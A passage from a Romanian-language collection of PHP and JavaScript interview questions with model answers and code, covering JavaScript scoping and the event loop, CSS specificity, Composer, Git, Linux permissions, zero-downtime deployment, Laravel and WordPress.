Care este diferența dintre var, let și const în JavaScript? Ce este hoisting-ul?

Răspuns scurt: var are scope de funcție și este ridicat (hoisted) cu valoarea undefined; let și const au scope de bloc și nu pot fi folosite înainte de declarare. const interzice reatribuirea, dar nu face obiectul imutabil.

Hoisting înseamnă că declarațiile sunt procesate înainte de execuția codului din scope-ul lor, ca și cum ar fi „mutate” sus.

JavaScript
console.log(a); // undefined, var este hoisted și inițializat cu undefined
var a = 5;

console.log(b); // ReferenceError, b e în „temporal dead zone”
let b = 5;

const config = { tema: 'luminoasa' };
config.tema = 'intunecata'; // permis, se modifică obiectul
config = {};                // TypeError, reatribuire interzisă

Diferența de scope apare clar în bucle:

JavaScript
for (var i = 0; i < 3; i++) {
  setTimeout(() => console.log(i)); // 3, 3, 3
}
for (let j = 0; j < 3; j++) {
  setTimeout(() => console.log(j)); // 0, 1, 2
}

Cu var există o singură variabilă i pentru toată funcția, iar când rulează callback-urile bucla s-a terminat și i este 3. Cu let, fiecare iterație are propria variabilă j.

Declarațiile de funcție (function f() {}) sunt hoisted complet, deci pot fi apelate înainte de definire, spre deosebire de funcțiile atribuite unei variabile (const f = () => {}).

Regula modernă: const implicit, let când chiar reatribui, var deloc. Pentru imutabilitate reală a unui obiect există Object.freeze(), care este superficial. Comparat cu PHP: în JavaScript funcțiile văd variabilele din scope-urile exterioare (closures lexicale), pe când în PHP trebuie use sau global, o diferență care încurcă des dezvoltatorii care lucrează cu ambele limbaje.

Ce urmărește intervievatorul: O întrebare JavaScript clasică pentru juniori. Exemplul cu bucla și setTimeout este foarte des folosit.

72 Junior

Cum trimiți date dintr-o pagină către un endpoint PHP cu fetch și cum tratezi răspunsul?

Răspuns scurt: Apelezi fetch(url, { method: 'POST', headers, body: JSON.stringify(date) }), verifici response.ok, apoi citești await response.json(). În PHP citești corpul cu file_get_contents('php://input') și json_decode, nu din $_POST.

Partea de JavaScript:

JavaScript
async function salveazaComentariu(text) {
  const raspuns = await fetch('/api/comentarii', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
      'X-CSRF-Token': document.querySelector('meta[name="csrf"]').content,
    },
    credentials: 'same-origin',
    body: JSON.stringify({ text }),
  });

  if (!raspuns.ok) {
    const eroare = await raspuns.json().catch(() => ({}));
    throw new Error(eroare.mesaj || `Eroare ${raspuns.status}`);
  }
  return raspuns.json();
}

Partea de PHP:

PHP
header('Content-Type: application/json; charset=utf-8');
$date = json_decode(file_get_contents('php://input'), true);
$text = trim($date['text'] ?? '');
if ($text === '') {
    http_response_code(422);
    echo json_encode(['mesaj' => 'Comentariul nu poate fi gol']);
    exit;
}
// salvezi cu prepared statement
echo json_encode(['id' => $id, 'text' => $text]);

Puncte importante:

  • fetch respinge promisiunea doar la erori de rețea; un răspuns 404 sau 500 este tot „reușit”, deci verifici obligatoriu response.ok sau response.status
  • $_POST se completează doar pentru application/x-www-form-urlencoded și multipart/form-data; pentru JSON citești php://input. Alternativ, trimiți un obiect FormData, iar datele ajung în $_POST și $_FILES.
  • cererile care modifică date au nevoie de protecție CSRF, de exemplu un token în header
  • când afișezi răspunsul în pagină, folosești textContent, nu innerHTML, ca să eviți XSS

Pentru o experiență bună, dezactivezi butonul în timpul trimiterii, ca să eviți dublarea, și afișezi un mesaj clar la eroare.

Ce urmărește intervievatorul: Verifică legătura dintre frontend și backend, unde apar multe bug-uri reale. Candidații uită des că fetch nu aruncă eroare la 500.

73 Mid

Cum funcționează event loop-ul în JavaScript? Ce afișează un exemplu cu setTimeout și Promise?

Răspuns scurt: JavaScript rulează pe un singur thread: execută codul sincron, apoi golește coada de microtask-uri (promisiuni), apoi ia un task din coada de macrotask-uri (setTimeout, evenimente). De aceea un Promise.then rulează înaintea unui setTimeout(fn, 0).

Motorul JavaScript are un call stack pentru codul în execuție. Operațiile asincrone (timere, cereri de rețea, evenimente) sunt gestionate de browser, iar callback-urile lor sunt puse în cozi. Event loop-ul repetă: când stack-ul e gol, execută toate microtask-urile, apoi un macrotask, apoi din nou microtask-urile și așa mai departe.

JavaScript
console.log('1');
setTimeout(() => console.log('2'), 0);
Promise.resolve().then(() => console.log('3'));
(async () => {
  console.log('4');
  await null;
  console.log('5');
})();
console.log('6');

Ordinea afișată: 1, 4, 6, 3, 5, 2.

  • 1, 4 și 6 sunt sincrone; funcția async rulează sincron până la primul await
  • 3 și 5 sunt microtask-uri, executate în ordinea programării, imediat după codul sincron
  • 2 vine dintr-un macrotask, care rulează abia după golirea microtask-urilor, chiar cu întârziere 0

async/await este doar o sintaxă mai lizibilă peste promisiuni. Un try/catch în jurul await prinde respingerile.

JavaScript
const [user, comenzi] = await Promise.all([
  fetch('/api/user').then(r => r.json()),
  fetch('/api/comenzi').then(r => r.json()),
]);

Promise.all rulează cererile în paralel; două await-uri succesive le-ar face una după alta. Consecința practică a modelului: un calcul sincron lung blochează interfața, pentru că nici evenimentele, nici randarea nu pot rula. Comparat cu PHP-FPM, unde fiecare cerere are propriul proces și codul blocant e normal, JavaScript din browser cere gândire asincronă.

Ce urmărește intervievatorul: Verifică înțelegerea asincronismului, des întrebată și la poziții full-stack. Ordinea microtask vs macrotask este punctul-cheie.

74 Mid

Ce este event delegation în JavaScript și când o folosești?

Răspuns scurt: Event delegation înseamnă să atașezi un singur listener pe un element părinte și să identifici ținta reală cu event.target, profitând de propagarea evenimentelor (bubbling). Funcționează și pentru elemente adăugate dinamic și reduce numărul de listeneri.

Majoritatea evenimentelor DOM pornesc de la elementul pe care s-a făcut acțiunea și urcă prin toți părinții până la document (faza de bubbling). Un listener pe părinte primește deci și click-urile de pe copii.

Problema fără delegare: într-o listă de produse încărcată prin AJAX, butoanele „Șterge” adăugate după încărcarea paginii nu au listener, pentru că querySelectorAll a rulat înainte să existe.

HTML
<ul id="cos">
  <li data-id="12">Mouse <button class="sterge">Șterge</button></li>
  <li data-id="15">Tastatură <button class="sterge">Șterge</button></li>
</ul>
JavaScript
document.getElementById('cos').addEventListener('click', async (e) => {
  const buton = e.target.closest('button.sterge');
  if (!buton || !e.currentTarget.contains(buton)) return;

  const rand = buton.closest('li');
  const r = await fetch(`/api/cos/${rand.dataset.id}`, { method: 'DELETE' });
  if (r.ok) rand.remove();
});

Detalii:

  • e.target este elementul exact pe care s-a dat click (poate fi un span sau o iconiță din buton), de aceea closest() este mai robust decât verificarea directă
  • e.currentTarget este elementul pe care e atașat listener-ul
  • e.stopPropagation() oprește urcarea evenimentului și poate strica delegarea altor componente; folosește-l rar
  • unele evenimente nu fac bubbling (focus, blur); variantele focusin și focusout fac

Avantaje: un singur listener în loc de sute, memorie mai puțină și cod care funcționează automat pentru conținut generat dinamic. Este exact tiparul folosit de jQuery prin $(document).on('click', '.selector', fn), întâlnit des în proiecte PHP și WordPress mai vechi.

Ce urmărește intervievatorul: Verifică înțelegerea DOM-ului dincolo de exemple simple. Problema elementelor adăugate dinamic este un caz real frecvent.

75 Mid

Cum funcționează specificitatea și cascada în CSS? De ce o regulă nu se aplică?

Răspuns scurt: Când mai multe reguli țintesc același element, câștigă cea cu specificitate mai mare (stiluri inline, apoi ID-uri, apoi clase, atribute și pseudo-clase, apoi elemente); la egalitate câștigă regula scrisă ultima. !important și cascade layers schimbă ordinea.

Specificitatea se calculează ca un triplet (ID-uri, clase/atribute/pseudo-clase, elemente/pseudo-elemente) și se compară de la stânga la dreapta:

CSS
p                     { color: black; } /* (0,0,1) */
.articol p            { color: gray;  } /* (0,1,1) */
#continut .articol p  { color: blue;  } /* (1,1,1) */
p.notita              { color: red;   } /* (0,1,1) */

Pentru un <p class="notita"> din #continut .articol, textul este albastru: (1,1,1) bate orice regulă fără ID, indiferent de ordinea din fișier.

Ordinea completă a cascadei, simplificat: originea și importanța (!important), apoi cascade layers (@layer), apoi specificitatea, apoi ordinea în sursă. Stilurile inline (style="...") bat orice selector fără !important. Selectorul universal * și combinatorii (>, +) nu adaugă specificitate. Pseudo-clasa :where() are specificitate zero, iar :is() și :not() preiau specificitatea celui mai specific argument.

Cum depanezi o regulă care nu se aplică:

  • în DevTools, panoul Styles arată regulile tăiate și pe cea câștigătoare
  • verifici dacă selectorul chiar se potrivește (greșeli de scriere, structură diferită de cea presupusă)
  • verifici dacă fișierul CSS se încarcă și dacă nu e servită o versiune veche din cache
  • verifici proprietățile moștenite versus cele setate direct

Într-un site WordPress cu temă și pluginuri, conflictele de specificitate sunt frecvente. Soluția sănătoasă nu este !important peste tot, ci selectori cu specificitate mică și constantă (de exemplu clase simple, ca în BEM) și, în proiecte noi, @layer pentru a controla ordinea.

Ce urmărește intervievatorul: Verifică dacă poți depana CSS fără încercări la întâmplare. Abuzul de !important este semnalul negativ căutat.

Composer, Git, Linux și testare

76 Junior

Ce este Composer și care este diferența dintre composer.json și composer.lock?

Răspuns scurt: Composer este managerul de dependențe pentru PHP. composer.json descrie ce pachete și ce intervale de versiuni accepți, iar composer.lock fixează versiunile exacte instalate, ca toată echipa și serverul să ruleze exact același cod.

Composer descarcă bibliotecile din registrul Packagist în directorul vendor/ și generează autoloader-ul (vendor/autoload.php).

JSON
{
  "require": {
    "php": "^8.2",
    "monolog/monolog": "^3.5",
    "guzzlehttp/guzzle": "^7.8"
  },
  "require-dev": {
    "phpunit/phpunit": "^11.0"
  },
  "autoload": {
    "psr-4": { "App\\": "src/" }
  }
}

Constrângerile de versiune urmează versionarea semantică: ^3.5 înseamnă orice versiune de la 3.5.0 inclusiv până la 4.0.0 exclusiv, adică actualizări compatibile. ~3.5 permite >=3.5 și <4.0, iar ~3.5.1 permite doar 3.5.x.

Comenzile importante:

  • composer install: instalează exact versiunile din composer.lock; se folosește la clonare, în CI și la deploy
  • composer update: recalculează versiunile în limitele din composer.json și rescrie lock-ul; se rulează intenționat, apoi se testează
  • composer require pachet: adaugă o dependență nouă
  • composer dump-autoload: regenerează autoloader-ul după ce ai schimbat regulile

Regula de aur: composer.lock se pune în Git pentru aplicații, iar vendor/ nu. Fără lock, doi colegi pot avea versiuni diferite ale aceleiași biblioteci, iar bug-ul apare „doar pe server”. Pentru biblioteci publicate, lock-ul contează mai puțin, pentru că cine le folosește își rezolvă propriile versiuni.

require-dev conține unelte de dezvoltare, care nu se instalează în producție cu composer install --no-dev. composer audit verifică dependențele față de vulnerabilități cunoscute.

Ce urmărește intervievatorul: O întrebare de bază pentru orice proiect PHP modern. Greșeala tipică este rularea composer update pe serverul de producție.

77 Junior

Descrie fluxul tău zilnic de lucru cu Git într-o echipă.

Răspuns scurt: Actualizez branch-ul principal, creez un branch pentru task, fac commit-uri mici cu mesaje clare, împing branch-ul și deschid un pull request. După code review și testele automate, branch-ul este integrat în principal.

Un flux tipic, bazat pe branch-uri de funcționalitate și pull requests:

BASH
git switch main
git pull --ff-only
git switch -c feature/export-facturi-csv

# lucrezi, apoi verifici ce ai modificat
git status
git diff
git add src/Export/FacturiCsv.php tests/Export/FacturiCsvTest.php
git commit -m "Adaugă export CSV pentru facturi"

git push -u origin feature/export-facturi-csv
# deschizi pull request-ul în GitHub sau GitLab

Bune practici pe care le menționezi la interviu:

  • commit-uri mici și coerente, fiecare cu o singură schimbare logică; mesajul explică ce și de ce
  • verifici cu git diff --staged înainte de commit, ca să nu incluzi fișiere de depanare
  • .gitignore exclude vendor/, node_modules/, .env și fișierele generate
  • nu pui niciodată parole, chei API sau fișierul .env în repository; dacă s-a întâmplat, cheia trebuie schimbată, pentru că rămâne în istoric
  • îți actualizezi des branch-ul cu main, ca să ai conflicte mici
  • nu rescrii istoria unui branch pe care lucrează și alții

Comenzi utile când ceva merge prost: git stash pentru a pune deoparte modificări, git restore fisier pentru a anula modificări locale, git revert <hash> pentru a anula un commit deja publicat printr-un commit nou, git log --oneline --graph pentru a vedea istoricul și git blame pentru a afla de când există o linie de cod.

Pull request-ul are o descriere: ce problemă rezolvă, cum se testează și eventuale capturi de ecran pentru schimbări vizuale.

Ce urmărește intervievatorul: Verifică dacă ai lucrat efectiv în echipă cu Git. Un junior care știe doar add, commit, push pe main ridică semne de întrebare.

78 Junior

Ce permisiuni Linux ar trebui să aibă fișierele unei aplicații PHP pe server? Explică chmod și chown.

Răspuns scurt: Fișierele de cod ar trebui să fie citibile de procesul PHP (de exemplu 644, directoarele 755), dar nu inscriptibile de el; doar directoarele de cache, loguri și upload-uri au drept de scriere pentru utilizatorul web. chmod schimbă permisiunile, chown proprietarul.

Fiecare fișier are un proprietar, un grup și permisiuni de citire (r=4), scriere (w=2) și execuție (x=1) pentru proprietar, grup și restul. 644 înseamnă rw-r--r--, iar 755 înseamnă rwxr-xr-x. Pentru directoare, „execuție” înseamnă dreptul de a intra în director.

BASH
ls -l /var/www/app
# -rw-r--r-- 1 deploy www-data 1520 index.php

sudo chown -R deploy:www-data /var/www/app
find /var/www/app -type f -exec chmod 644 {} \;
find /var/www/app -type d -exec chmod 755 {} \;

# doar directoarele în care aplicația trebuie să scrie
sudo chown -R www-data:www-data /var/www/app/storage /var/www/app/bootstrap/cache
chmod -R 775 /var/www/app/storage
chmod 640 /var/www/app/.env

Principiul este cel al privilegiului minim. Dacă procesul PHP (de obicei utilizatorul www-data sau nginx) poate scrie peste fișierele de cod, o vulnerabilitate de upload sau de execuție îi permite atacatorului să modifice aplicația și să rămână persistent pe server. De aceea codul aparține unui utilizator de deploy, iar procesul web doar îl citește.

Greșeala clasică este chmod -R 777 pentru a „rezolva” o eroare „Permission denied”. Problema dispare, dar oricine are acces la server poate modifica orice. Corect este să afli ce utilizator rulează procesul (ps aux | grep php-fpm) și să dai drept de scriere doar acolo unde e nevoie.

Fișierul .env cu parole nu trebuie să fie în directorul public servit de web server; rădăcina web ar trebui să fie un subdirector, de exemplu public/.

Ce urmărește intervievatorul: Verifică dacă poți lucra în siguranță pe un server. chmod 777 ca soluție este un semnal negativ clar.

79 Junior

Un site PHP afișează „500 Internal Server Error”. Cum ai depana problema?

Răspuns scurt: Pagina 500 ascunde eroarea, deci o cauți în loguri: logul de erori PHP, logul serverului web și logul aplicației. Apoi reproduci problema, citești stack trace-ul și verifici ce s-a schimbat recent (deploy, configurare, permisiuni, extensii).

Pașii, în ordine:

  • reproduci: se întâmplă pe toate paginile sau doar pe una, pentru toți utilizatorii sau doar pentru unii, de când?
  • cauți eroarea reală în loguri, pentru că în producție display_errors este (corect) dezactivat
BASH
tail -f /var/log/nginx/error.log
tail -n 100 /var/log/php8.3-fpm.log
tail -f storage/logs/laravel.log
grep -i "fatal" /var/log/php_errors.log | tail -20
php -i | grep error_log   # unde scrie PHP logurile

Pe hosting partajat cu cPanel, logurile sunt de obicei în panoul de administrare sau într-un fișier error_log din directorul aplicației.

Cauze frecvente și ce indică:

  • „Allowed memory size exhausted”: o buclă sau un query care încarcă prea multe date
  • „Class not found”: autoloader neregenerat, fișier lipsă după deploy sau literă mare greșită în nume
  • „Permission denied”: directorul de cache sau loguri nu poate fi scris
  • „Call to undefined function”: lipsește o extensie PHP (de exemplu mbstring, intl) sau versiunea PHP este alta
  • erori de sintaxă în .htaccess (pe Apache) produc tot 500
  • 502 sau 504 în loc de 500 indică PHP-FPM căzut sau timeout

Apoi verifici ce s-a schimbat: ultimul deploy (git log), o actualizare de plugin, o schimbare de versiune PHP pe server. Dacă e urgent și cauza e un deploy, faci rollback întâi și investighezi după.

Local poți reproduce cu display_errors=1 și Xdebug. După rezolvare, adaugi un test care acoperă cazul și, ideal, monitorizare (de exemplu Sentry), ca să afli de erori înaintea utilizatorilor.

Ce urmărește intervievatorul: Este o întrebare de depanare foarte practică. Se urmărește un proces metodic, începând cu logurile, nu ghicitul.

80 Mid

Care este diferența dintre git merge și git rebase? Cum rezolvi un conflict?

Răspuns scurt: merge integrează două branch-uri printr-un commit de îmbinare și păstrează istoria exact cum a fost; rebase mută commit-urile tale peste vârful altui branch, rescriind istoria într-o linie dreaptă. Conflictele le rezolvi editând fișierele marcate, apoi git add și continuarea operației.

Ai creat feature/plata din main, iar între timp main a primit alte commit-uri.

BASH
# varianta merge
git switch feature/plata
git merge main          # creează un commit de merge

# varianta rebase
git switch feature/plata
git fetch origin
git rebase origin/main  # commit-urile tale sunt reaplicate peste main
git push --force-with-lease

Merge păstrează istoria reală, dar cu multe branch-uri graficul devine încâlcit. Rebase produce o istorie liniară, ușor de citit, dar commit-urile primesc hash-uri noi. De aici regula importantă: nu faci rebase pe un branch pe care lucrează și alți colegi, pentru că le rescrii istoria. Pe propriul branch, înainte de pull request, rebase-ul este în regulă. --force-with-lease refuză push-ul dacă între timp altcineva a împins pe același branch, spre deosebire de --force.

Rezolvarea unui conflict:

<<<<<<< HEAD
$taxa = 0.19;
=======
$taxa = $config->cotaTva();
>>>>>>> feature/plata
  • deschizi fișierul, înțelegi ambele intenții și scrii varianta corectă (nu alegi orbește una dintre ele)
  • elimini marcajele, rulezi testele
  • git add fisier, apoi git rebase --continue sau git commit pentru merge
  • dacă te-ai încurcat, git rebase --abort sau git merge --abort te readuc la starea inițială

git rebase -i permite unirea commit-urilor mărunte înainte de review. Multe echipe folosesc „squash merge” în pull requests, care combină totul într-un singur commit pe main.

Ce urmărește intervievatorul: Verifică experiența reală cu Git în echipă. Punctul-cheie este regula de a nu rescrie istoria partajată.

81 Mid

Ce sunt standardele PSR și care sunt cele mai importante pentru un dezvoltator PHP?

Răspuns scurt: PSR-urile (PHP Standards Recommendations) sunt standarde publicate de PHP-FIG pentru interoperabilitate între biblioteci și framework-uri. Cele mai importante sunt PSR-4 (autoloading), PSR-12/PER (stil de cod), PSR-3 (logger), PSR-7, PSR-15 și PSR-17 (HTTP) și PSR-11 (container).

PHP-FIG (Framework Interoperability Group) definește interfețe comune, ca o bibliotecă scrisă pentru un framework să poată fi folosită în altul.

Cele întâlnite cel mai des:

  • PSR-1 și PSR-12: reguli de bază și stil de cod (indentare cu 4 spații, acolade, declare la început). PSR-12 este continuat de PER Coding Style.
  • PSR-4: legătura dintre namespace și calea fișierului, folosită de autoloader-ul Composer
  • PSR-3: LoggerInterface, cu metode ca info(), error(); Monolog o implementează
  • PSR-7: obiecte imutabile pentru cereri și răspunsuri HTTP
  • PSR-15: middleware și request handlers bazate pe PSR-7
  • PSR-17 și PSR-18: fabrici de mesaje HTTP și client HTTP
  • PSR-11: interfața pentru containere DI (get, has)
  • PSR-6 și PSR-16: interfețe pentru cache
  • PSR-20: ClockInterface, util pentru teste cu timp controlat
PHP
use Psr\Log\LoggerInterface;

final class ServiciuFacturi
{
    public function __construct(private LoggerInterface $log) {}

    public function emite(int $id): void
    {
        $this->log->info('Factură emisă', ['id' => $id]);
    }
}

Clasa depinde de interfața PSR-3, nu de Monolog, deci poți schimba implementarea sau folosi un logger fals în teste.

Pentru stil, nimeni nu verifică manual: unelte ca PHP-CS-Fixer sau PHP_CodeSniffer formatează și verifică automat, de obicei în CI. Laravel folosește Pint, construit peste PHP-CS-Fixer. Alături de ele, analiza statică (PHPStan, Psalm) găsește erori de tip fără să ruleze codul. Un proiect profesionist are aceste verificări automatizate, nu discuții despre spații în code review.

Ce urmărește intervievatorul: Verifică dacă știi ecosistemul PHP profesionist. Mulți candidați cunosc doar PSR-4 și PSR-12.

82 Mid

Cum scrii teste automate în PHP cu PHPUnit? Care este diferența dintre testele unitare și cele de integrare?

Răspuns scurt: Un test unitar verifică o clasă izolat, cu dependențele înlocuite prin dubluri (mocks, stubs); un test de integrare verifică mai multe componente împreună, de exemplu cu o bază de date reală. În PHPUnit scrii clase care extind TestCase, cu metode care folosesc aserțiuni.

Un test unitar simplu, după tiparul Arrange, Act, Assert:

PHP
use PHPUnit\Framework\TestCase;
use PHPUnit\Framework\Attributes\Test;
use PHPUnit\Framework\Attributes\DataProvider;

final class CalculatorPretTest extends TestCase
{
    #[Test]
    #[DataProvider('cazuri')]
    public function aplicaReducerea(int $pret, int $procent, int $asteptat): void
    {
        $calc = new CalculatorPret();
        $this->assertSame($asteptat, $calc->cuReducere($pret, $procent));
    }

    public static function cazuri(): array
    {
        return [[1000, 10, 900], [1000, 0, 1000], [999, 50, 500]];
    }

    #[Test]
    public function trimiteEmailDupaPlata(): void
    {
        $mailer = $this->createMock(Mailer::class);
        $mailer->expects($this->once())->method('trimite');

        (new ServiciuPlata($mailer))->confirma(new Comanda(42));
    }
}

Rulezi cu vendor/bin/phpunit. Atributele #[Test] și #[DataProvider] sunt suportate din PHPUnit 10; în versiunile vechi se foloseau adnotări în comentarii.

Diferențele:

  • unitare: rapide, izolate, multe la număr; verifică logica de business (calcule, reguli)
  • de integrare: verifică repository-uri cu o bază reală (de exemplu MySQL în Docker sau SQLite în memorie), apeluri HTTP, configurare
  • de tip feature sau end-to-end: cerere HTTP completă prin aplicație; în Laravel, $this->post('/comenzi', [...])->assertStatus(201)

Codul cu dependențe injectate se testează ușor; cel care face new PDO() în interiorul metodelor, greu. De aceea testabilitatea e și un indicator de design. Nu urmări 100% acoperire de dragul cifrei: testează regulile importante, cazurile limită și bug-urile reparate. Pest este o alternativă populară, cu sintaxă mai concisă, construită peste PHPUnit.

Ce urmărește intervievatorul: Verifică dacă scrii cod testat și înțelegi tipurile de teste. Abuzul de mocks pentru orice este și el un semnal discutabil.

83 Senior

Cum ar arăta un proces de deploy sigur și fără downtime pentru o aplicație PHP?

Răspuns scurt: Un pipeline CI rulează testele și analiza statică, construiește un artefact (composer install --no-dev --optimize-autoloader, assets compilate), îl copiază într-un director nou de release, rulează migrările compatibile, comută atomic un symlink current și reîncarcă PHP-FPM. Rollback-ul înseamnă comutarea symlink-ului înapoi.

Problemele deploy-ului „prin FTP” sau cu git pull direct pe server: fișiere copiate parțial în timp ce vin cereri, composer install care eșuează la jumătate și lasă aplicația stricată, lipsa unei variante rapide de revenire.

Structura tipică pe server:

/var/www/app/
  releases/20250310-1420/
  releases/20250312-0915/
  shared/.env
  shared/storage/
  current -> releases/20250312-0915

Pașii:

BASH
# în CI
vendor/bin/phpunit && vendor/bin/phpstan analyse
composer install --no-dev --optimize-autoloader --classmap-authoritative
npm ci && npm run build

# pe server
rsync -a build/ /var/www/app/releases/$REL/
ln -s /var/www/app/shared/.env /var/www/app/releases/$REL/.env
cd /var/www/app/releases/$REL && php artisan migrate --force && php artisan config:cache
ln -sfn /var/www/app/releases/$REL /var/www/app/current.tmp && mv -T /var/www/app/current.tmp /var/www/app/current
sudo systemctl reload php8.3-fpm

Detalii care contează:

  • mv -T peste un symlink este o operație atomică, deci nicio cerere nu vede un release pe jumătate
  • reîncărcarea PHP-FPM golește OPcache, care altfel poate servi codul vechi, mai ales cu validate_timestamps=0
  • migrările trebuie să fie compatibile cu versiunea anterioară a codului, ca rollback-ul să nu strice datele
  • workerii de cozi trebuie reporniți după deploy, pentru că păstrează codul vechi în memorie
  • datele persistente (upload-uri, loguri, .env) stau în shared/

Unelte ca Deployer, Envoyer sau pipeline-uri GitHub Actions și GitLab CI automatizează acești pași. În medii cu containere, echivalentul este o imagine Docker construită o singură dată și promovată din staging în producție, cu rolling update.

Ce urmărește intervievatorul: La senior se verifică maturitatea operațională. Intervievatorul caută atomicitatea, rollback-ul și grija pentru OPcache și migrări.

Laravel și WordPress

84 Junior

Ce este arhitectura MVC și cum se aplică într-o aplicație PHP?

Răspuns scurt: MVC (Model, View, Controller) separă aplicația în trei părți: modelul se ocupă de date și reguli, view-ul de afișare, iar controller-ul primește cererea, apelează modelul și alege view-ul. Laravel și Symfony sunt construite pe acest tipar.

Fluxul unei cereri într-o aplicație MVC:

  • un router mapează URL-ul și metoda HTTP către o metodă de controller
  • controller-ul citește datele cererii, le validează și apelează modelul sau un serviciu
  • modelul lucrează cu baza de date și aplică regulile de business
  • controller-ul trimite datele către view, care produce HTML-ul (sau răspunsul JSON)
PHP
// routes/web.php
Route::get('/produse/{produs}', [ProdusController::class, 'arata']);

// app/Http/Controllers/ProdusController.php
final class ProdusController extends Controller
{
    public function arata(Produs $produs): View
    {
        return view('produse.arata', [
            'produs' => $produs,
            'similare' => $produs->similare()->take(4)->get(),
        ]);
    }
}
HTML
<!-- resources/views/produse/arata.blade.php -->
<h1>{{ $produs->nume }}</h1>
<p>{{ number_format($produs->pret, 2, ',', '.') }} lei</p>

De ce contează separarea: poți schimba aspectul paginii fără să atingi logica, poți refolosi același model într-un API JSON și poți testa regulile de business fără HTML. În aplicațiile PHP vechi, de tip „spaghetti”, același fișier conține SQL, logică și HTML, iar orice modificare e riscantă.

Greșeli frecvente: „fat controllers”, cu sute de linii de logică, și view-uri care fac query-uri. Logica de business ar trebui să stea în modele sau în clase de serviciu, iar controller-ul să rămână subțire. WordPress nu este MVC clasic: folosește un sistem de șabloane și hooks, dar poți organiza codul unei teme sau al unui plugin în spiritul acestei separări.

Ce urmărește intervievatorul: Verifică înțelegerea structurii aplicațiilor web. Un candidat bun știe unde să pună logica de business.

85 Junior

Cum funcționează rutarea, controllerele și șabloanele Blade în Laravel?

Răspuns scurt: Rutele din routes/web.php și routes/api.php mapează URL-uri către closure-uri sau metode de controller. Controllerele întorc un răspuns, adesea un view Blade, iar Blade este motorul de șabloane cu escaping automat prin {{ }}, moștenire de layout-uri și componente.

Rute:

PHP
use App\Http\Controllers\ArticolController;

Route::get('/', fn () => view('acasa'))->name('acasa');
Route::get('/articole/{articol:slug}', [ArticolController::class, 'arata'])->name('articole.arata');
Route::middleware('auth')->group(function () {
    Route::resource('articole', ArticolController::class)->except(['index', 'show']);
});

{articol:slug} folosește route model binding: Laravel caută automat modelul după coloana slug și răspunde cu 404 dacă nu există. Route::resource generează rutele CRUD standard. php artisan route:list le afișează pe toate.

Controller:

PHP
public function arata(Articol $articol): View
{
    return view('articole.arata', compact('articol'));
}

Blade:

HTML
@extends('layouts.app')

@section('continut')
    <h1>{{ $articol->titlu }}</h1>
    @if ($articol->comentarii->isEmpty())
        <p>Niciun comentariu încă.</p>
    @endif
    @foreach ($articol->comentarii as $c)
        <x-comentariu :comentariu="$c" />
    @endforeach
    <a href="{{ route('articole.arata', $articol) }}">Link permanent</a>
@endsection

Puncte importante:

  • {{ $x }} face escaping HTML automat; {!! $x !!} afișează brut și deschide calea către XSS dacă datele vin de la utilizator
  • folosești route('nume') în loc de URL-uri scrise manual, ca schimbarea unei rute să nu strice linkurile
  • componentele (<x-comentariu>) înlocuiesc @include-urile repetate
  • Blade este compilat în PHP simplu și pus în cache, deci nu are cost de performanță semnificativ

Pentru formulare, @csrf adaugă tokenul, iar @method('PUT') simulează metodele pe care HTML nu le suportă.

Ce urmărește intervievatorul: Verifică dacă ai lucrat practic cu Laravel. Diferența dintre {{ }} și {!! !!} este un detaliu de securitate des întrebat.

86 Junior

Ce sunt hooks în WordPress? Care este diferența dintre actions și filters?

Răspuns scurt: Hooks sunt puncte în codul WordPress unde temele și pluginurile își pot atașa propriile funcții. Actions execută cod la un moment dat (de exemplu la publicarea unui articol), iar filters primesc o valoare, o pot modifica și trebuie să o returneze.

WordPress este extins fără modificarea nucleului prin sistemul de hooks. Nucleul apelează do_action('nume') și apply_filters('nume', $valoare) în anumite puncte, iar tu te atașezi cu add_action și add_filter.

PHP
// action: rulează cod, nu returnează nimic
add_action('wp_enqueue_scripts', function () {
    wp_enqueue_style('tema-mea', get_stylesheet_uri(), [], '1.2.0');
});

add_action('save_post_produs', function (int $postId, WP_Post $post, bool $update) {
    if (wp_is_post_revision($postId)) {
        return;
    }
    delete_transient('produse_recomandate');
}, 10, 3);

// filter: primește o valoare și returnează versiunea modificată
add_filter('excerpt_length', fn (int $lungime) => 30);

add_filter('the_content', function (string $continut): string {
    if (is_single()) {
        $continut .= '<p class="nota">Mulțumim pentru lectură.</p>';
    }
    return $continut;
});

Parametrii suplimentari ai lui add_action sunt prioritatea (implicit 10; număr mai mic înseamnă execuție mai devreme) și numărul de argumente acceptate. Dacă nu specifici 3 la save_post_produs, funcția primește doar primul argument.

Greșeala clasică la filters este să uiți return: conținutul articolului dispare de pe tot site-ul. Altă greșeală este modificarea directă a fișierelor din nucleul WordPress sau dintr-un plugin terț, pierdută la prima actualizare. Modificările se fac într-o temă copil (child theme) sau într-un plugin propriu.

Îți poți defini propriile hooks în plugin cu do_action('pluginul_meu_dupa_import'), ca alți dezvoltatori să îl poată extinde la fel.

Ce urmărește intervievatorul: WordPress rulează pe o parte foarte mare a site-urilor, iar multe joburi PHP îl implică. Uitarea lui return într-un filtru este greșeala tipică.

87 Mid

Cum definești relații în Eloquent și ce este mass assignment?

Răspuns scurt: Relațiile se definesc ca metode pe model care returnează hasMany, belongsTo, belongsToMany și altele. Mass assignment înseamnă completarea modelului dintr-un array (de exemplu create($request->all())), iar $fillable sau $guarded controlează ce câmpuri sunt permise.

Relații:

PHP
final class Client extends Model
{
    public function comenzi(): HasMany
    {
        return $this->hasMany(Comanda::class);
    }
}

final class Comanda extends Model
{
    protected $fillable = ['client_id', 'total', 'status'];
    protected $casts = ['status' => StatusComanda::class, 'platita_la' => 'datetime'];

    public function client(): BelongsTo
    {
        return $this->belongsTo(Client::class);
    }

    public function produse(): BelongsToMany
    {
        return $this->belongsToMany(Produs::class)->withPivot('cantitate', 'pret_unitar');
    }

    public function scopePlatite(Builder $q): void
    {
        $q->where('status', StatusComanda::Platita);
    }
}

$total = $client->comenzi()->platite()->sum('total'); // query
$lista = $client->comenzi;                            // colecție, încărcată o dată

Diferența dintre comenzi() și comenzi: metoda returnează un query builder pe care îl poți filtra, iar proprietatea execută query-ul și returnează rezultatul. Convențiile (client_id, tabelul pivot comanda_produs) pot fi suprascrise prin parametri.

Mass assignment: dacă scrii User::create($request->all()) și tabelul are o coloană is_admin, un atacator adaugă is_admin=1 în formular și devine administrator. Laravel te protejează: fără $fillable sau $guarded, atribuirea în masă aruncă excepție. Practica sigură este să listezi explicit câmpurile permise în $fillable și să transmiți doar datele validate:

PHP
$comanda = Comanda::create($request->validated());

